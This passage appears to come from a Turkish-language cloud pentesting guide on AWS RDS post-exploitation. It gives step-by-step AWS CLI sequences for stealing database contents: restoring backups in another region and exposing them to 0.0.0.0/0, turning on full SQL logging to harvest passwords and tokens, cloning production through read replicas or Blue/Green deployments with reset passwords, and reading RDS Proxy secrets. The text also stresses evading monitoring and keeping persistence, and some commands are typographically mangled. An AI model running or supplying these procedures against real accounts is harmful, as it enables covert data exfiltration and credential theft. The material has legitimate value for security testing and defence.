2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### DB parameter groups aracılığıyla tam SQL logging'i etkinleştir ve RDS log API'leri ile exfiltrate et

`rds:ModifyDBParameterGroup`'ı RDS log download API'leri ile kötüye kullanarak uygulamalar tarafından çalıştırılan tüm SQL ifadelerini yakala (DB engine kimlik bilgileri gerekmez). Engine SQL logging'i etkinleştir ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` (veya REST `downloadCompleteLogFile`) ile çek. Sırlar/PII/JWTs içerebilecek sorguları toplamak için kullanışlıdır.

Gerekli izinler (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (sadece instance varsayılan parameter group kullanıyorsa custom parameter group eklemek için)
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, örn. PostgreSQL)

Adımlar
1) Hedefi ve mevcut parameter group'u keşfet
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table

2. Özel bir DB parameter group’un iliştirilmiş olduğundan emin olun (varsayılanı düzenleyemezsiniz)

• Eğer instance zaten bir custom group kullanıyorsa, bir sonraki adımda ismini yeniden kullanın.
• Aksi halde engine family ile eşleşen bir tane oluşturup iliştirin:

# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"

3. Ayrıntılı SQL logging’i etkinleştir

• MySQL motorları (anında / yeniden başlatma gerekmez):

aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"

• PostgreSQL engine’leri (yeniden başlatma gerekli):

aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>

4. İş yükünü çalıştırın (veya sorgular oluşturun). SQL ifadeleri engine file loglarına yazılacaktır

• MySQL: general/mysql-general.log
• PostgreSQL: postgresql.log

5. Logları keşfedin ve indirin (DB creds gerekmez)

aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log

6. Hassas verileri çevrimdışı analiz et

grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Örnek kanıt (sansürlenmiş):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Temizlik

• Parametreleri varsayılanlara geri al ve gerekiyorsa yeniden başlat:

# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Etkisi: Post-exploitation aşamasında, AWS API’leri aracılığıyla (DB kimlik bilgileri olmadan) tüm uygulama SQL ifadelerinin yakalanmasıyla veri erişimi; potansiyel olarak secrets, JWTs ve PII’nin leak’ine yol açabilir.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

RDS read replicas’i suistimal ederek primary instance’ın kimlik bilgilerine dokunmadan out-of-band read access elde edilebilir. Bir saldırgan production instance’dan bir read replica oluşturabilir, replica’nın master password’ünü sıfırlayabilir (bu primary’i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replica’yı public olarak açabilir.

Gerekli izinler (minimum):

• rds:DescribeDBInstances
• rds:CreateDBInstanceReadReplica
• rds:ModifyDBInstance
• ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (eğer public olarak açılıyorsa)

Etkisi: Saldırgan kontrollü kimlik bilgileriyle bir replica üzerinden production verilerine salt-okunur erişim; primary’a dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Örnek kanıt (MySQL):

• Replika DB durumu: available, okuma replikasyonu: replicating
• Yeni parola ile başarılı bağlantı ve @@read_only=1 değeri, salt okunur replika erişimini doğruladı.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

RDS Blue/Green’i kötüye kullanarak üretim DB’yi sürekli replikasyonlu, salt okunur green ortamına klonlayın. Ardından green master kimlik bilgilerini sıfırlayarak blue (prod) instance’a dokunmadan verilere erişin. Bu, snapshot sharing’e göre daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Etkisi: Salt-okuma ancak üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir kopyasına tam veri erişimi. Gizli veri çıkarımı ve çevrimdışı analiz için faydalı.

RDS Data API ile dış-kanal SQL — HTTP endpoint etkinleştirip master şifreyi sıfırlayarak

Aurora’yı kötüye kullanarak hedef kümede RDS Data API HTTP endpoint’ini etkinleştirin, master şifreyi kontrolünüzde olan bir değere sıfırlayın ve HTTPS üzerinden SQL çalıştırın (VPC ağ yolu gerekmez). Bu, Data API/EnableHttpEndpoint’ı destekleyen Aurora motorlarında çalışır (örn. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).

İzinler (asgari):

• rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
• secretsmanager:CreateSecret
• rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Etkisi: Ağ segmentasyonunu atlayarak DB’ye doğrudan VPC bağlantısı olmadan AWS APIs üzerinden veri sızdırmak.

</details>

Notlar:
- Eğer rds-data çoklu ifadeli SQL'i reddediyorsa, ayrı execute-statement çağrıları yapın.
- modify-db-cluster --enable-http-endpoint'in etkili olmadığı motorlar için, rds enable-http-endpoint --resource-arn kullanın.
- Motorun/sürümün gerçekten Data API'yi desteklediğinden emin olun; aksi halde HttpEndpointEnabled False olarak kalır.


### RDS Proxy kimlik doğrulama secret'ları aracılığıyla DB kimlik bilgilerini toplama (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Eğer secret bir CMK kullanıyorsa, hatalı tanımlanmış KMS izinleri `kms:Decrypt`'e de izin verebilir.

Gerekli izinler (asgari):
- `rds:DescribeDBProxies`
- Referans verilen SecretArn üzerinde `secretsmanager:GetSecretValue`
- Secret bir CMK kullanıyorsa isteğe bağlı: o anahtar üzerinde `kms:Decrypt`

Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının anında ifşası; doğrudan DB erişimi veya further lateral movement sağlar.

Adımlar
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery